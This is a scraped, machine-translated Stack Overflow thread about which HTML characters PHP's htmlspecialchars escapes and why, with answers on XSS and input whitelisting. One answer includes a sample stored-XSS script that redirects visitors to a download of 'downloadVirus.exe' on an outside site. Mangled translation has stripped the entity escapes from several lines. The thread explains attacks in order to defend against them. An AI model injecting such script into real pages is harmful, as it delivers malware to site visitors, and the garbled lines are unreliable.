为什么这5(6?)个字符被视为;“不安全”;HTML字符?

为什么这5(6?)个字符被视为;“不安全”;HTML字符?,html,escaping,code-injection,javascript-injection,html-injections,Html,Escaping,Code Injection,Javascript Injection,Html Injections,在PHP中,有一个名为的函数对字符串执行以下替换: &(与号)转换为& “(双引号)转换为” ”(单引号)转换为'(仅当设置了ENT_QUOTES标志时) (大于)转换为 显然,这样做的理由是这5个特定字符是不安全的HTML字符 我可以理解为什么后两个被认为是不安全的:如果它们只是“重复”,那么任意/危险的HTML可能会被交付,包括潜在的带有的javascript等等 问题1。为什么前三个字符(符号、双引号、单引号)也被认为是“不安全的”? 此外,我还偶然发现了一个关于编码/

在PHP中,有一个名为的函数对字符串执行以下替换:

  • &
    (与号)转换为
    &
  • (双引号)转换为
  • (单引号)转换为
    '(仅当设置了ENT_QUOTES标志时)
  • (大于)转换为
显然,这样做的理由是这5个特定字符是不安全的HTML字符

我可以理解为什么后两个被认为是不安全的:如果它们只是“重复”,那么任意/危险的HTML可能会被交付,包括潜在的带有
的javascript等等

问题1。为什么前三个字符(符号、双引号、单引号)也被认为是“不安全的”?


此外,我还偶然发现了一个关于编码/解码HTML实体的方法。在那里,我发现了以下情况:

[…]在HTML内容(&、、'和`)中使用不安全的字符将被编码。[…]

()

问题2.是否有充分的理由考虑倒勾另一个不安全的HTML字符?如果是,这是否意味着上述PHP函数已经过时


最后,所有这些都回避了一个问题:


问题3.除了上面提到的5/6个字符之外,还有其他字符被认为是“不安全的”吗?

这些字符是不安全的,因为在html中
定义了一个标记。
用于包围属性
由于在html实体中使用,因此对
进行了编码。
不应对其他字符进行编码,但可以对其进行编码:
贸易符号可以制作成
&trade
美元符号可以做成
&dollar欧元可以是
&欧元
任何表情符号都可以由HTML实体(编码对象的名称)组成
您可以找到解释/示例

多诺万的回答很好地解释了这一点,但我将在这里提供一些示例,说明这些特定字符会导致多大问题

这些字符被认为是不安全的,因为它们是执行XSS(跨站点脚本)攻击(或使用无辜输入意外破坏页面)的最明显方式

考虑一下网站上的评论功能。您提交一个带有文本区域的表单。它被保存到数据库中,然后在页面上为所有访问者显示

现在我有一个类似这样的评论

<script type="text/javascript">
    window.top.location.href="http://www.someverybadsite.website/downloadVirus.exe";
</script>
假设用户出于某种原因使用了
来强调。他们的评论将使人感到震惊

这里有些东西

显然,这是不可取的行为

&
会出现较少恶意的情况<代码>&
用于表示HTML实体,如
&
等。因此,外观纯真的文本很容易意外地成为html实体,最终看起来与用户非常不同,也非常奇怪

考虑一下评论

I really like #455 &#243; please let me know when they're available for purchase.
这将被视为

我真的很喜欢#455ó请告诉我何时可以购买

显然不是有意的行为

关键是,这些符号在大多数情况下被认为是防止大多数XSS漏洞/bug的关键,因为它们可能用于有效的输入,但需要转义才能在HTML中正确呈现

关于你的第二个问题,我个人不知道有什么方法可以将backtick视为不安全的HTML字符


至于你的第三个问题,也许吧。不要依赖黑名单来过滤用户输入。相反,使用已知OK输入的白名单,然后从那里开始工作。

这并不能真正回答你的问题,但确实在某种程度上说明了#3:在过滤XSS漏洞等时,使用白名单,而不是黑名单。如果你必须允许HTML,那么就让它成为一个极端limited子集。试图过滤掉所有可能的坏条目比只允许好条目要困难得多。@CollinD谢谢-我同意简单地转义这5(6?)个字符并不是防止漏洞的最佳方法。我的问题更多的是为什么这5个字符被认为“更重要”“比其他人,如果有其他人应该放在同一个袋子里,比如backtick,也许。现在,有人愿意猜这个问题出了什么问题吗?”?我收到了一张没有解释的随机否决票。我期待着改进/解决这个问题,但是没有评论我不能这样做。谢谢,谢谢,但这并不能回答问题。你刚才说明了引号和符号的使用位置。我的问题是哪些符号对允许注射是危险的(更重要的是,为什么)。非常感谢。报价呢?它们被用来包围属性,很好,我知道,但是你能详细说明一下吗?他们自己能做伤害/意外的事情吗?(即没有
的“帮助”)可能。我非常犹豫是否直接说“不”。这里有更多的细节要查看。最明显的问题是,如果您接受用户输入并将其放入属性中,那么引用显然会造成伤害并逃避属性本身。例如,允许用户输入图像标题,并在
img
标记的
title
属性中使用它,用户只需去掉引号,就可以潜在地更改
img
标记的
src
属性。上下文就是一切。
htmlspecialchars()
PHP函数只是一个通用函数,用于转义HTML文档(HTML文档中的任何位置)中可能具有特殊意义的字符。这不仅仅是为了使输出“安全”。事实上,PHP文档没有引用
I really like #455 &#243; please let me know when they're available for purchase.